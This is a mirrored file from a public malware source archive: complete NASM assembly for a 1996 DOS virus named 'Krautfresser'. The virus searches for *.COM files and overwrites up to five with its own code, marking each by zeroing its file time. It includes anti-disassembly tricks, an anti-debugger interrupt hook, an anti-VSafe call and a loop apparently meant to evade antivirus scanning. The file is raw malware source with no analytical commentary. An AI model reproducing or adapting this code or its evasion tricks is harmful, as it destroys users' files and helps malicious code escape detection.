mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-22 19:36:11 +00:00
111 lines
2.9 KiB
NASM
111 lines
2.9 KiB
NASM
.model tiny
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.code
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org 100h
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start_virus:
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and al,21h
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mov cx,100h ;for tha tbav
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abc: ;
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loop abc ;
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;anti_disassembler
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mov cx,09ebh
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mov ax,0fe05h
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jmp $-2
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add ah,03bh
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jmp $-10
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;anti_debugger
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mov ax,3503h ;save int 3h in bx
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int 21h ;do it
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mov ah,25h ;set new int 3h...
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mov dx,offset new_int_3 ;...to new_int_3
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int 21h ;do it
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xchg bx,dx ;exchange bx,dx (restore original int 3h)
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int 21h ;do it
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;anti_vsafe
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mov ax,0f9f2h
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add ax,10h
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mov dx,5935h
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add dx,10h
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mov bl,10h
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sub bl,10h
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int 16h
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mov ah,5eh ;find first
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sub ah,10h
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mov cx,5h ;5 files to infect
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push cx
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jmp jojo ;go ta jojo
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find_next:
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push cx
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mov ah,5fh ;find next
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sub ah,10h
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jojo:
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xor cx,cx ;attribut normal
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mov dx,offset star_dot_com ;*.COM
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int 21h ;do it
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jb ende_virus ;no more filz -> ende_virus
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mov ax,3d02h ;open file
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mov dx,9eh ;file name
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int 21h ;do it
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mov bx,ax ;move file handler in bx
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mov ax,5700h ;get file time
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int 21h ;do it
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cmp cx,0000h ;if file time = 0 then infect it
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je prepare_for_new ;else goto prepare_for_new file search
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mov ah,50h ;write file (infect it)
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sub ah,10h
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mov cx,offset fin - offset start_virus ;virus size
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mov dx,offset start_virus ;begin at start
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int 21h ;do it
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mov ax,5701h ;set infected file time
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mov cx,0000h ;to 0000
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int 21h ;do it
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mov ah,3eh ;close file
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int 21h ;do it
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pop cx
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push cx
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loop find_next ;look for tha next file to infect
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ende_virus:
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int 20h ;-> exit
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prepare_for_new: ;prepare for the next file search
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mov ah,3eh ;close file
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int 21h ;do it
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pop cx
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jmp find_next ;goto find_next file
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new_int_3: ;new interrupt 3h
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mov ah,9h ;write string to standard output
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mov dx,offset autor ;[easyman written by spooky]
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int 21h ;do it
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mov ah,00h ;wait until keypressed
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int 16h ;do it
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int 20h ;-> terminate debugging
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autor: db '[Krautfresser written by Spooky]',0dh,0ah ;copyright
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db ' 1996 Austria',0dh,0ah,'$'
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star_dot_com: db '*.com',0 ;filespec
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fin:
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end start_virus
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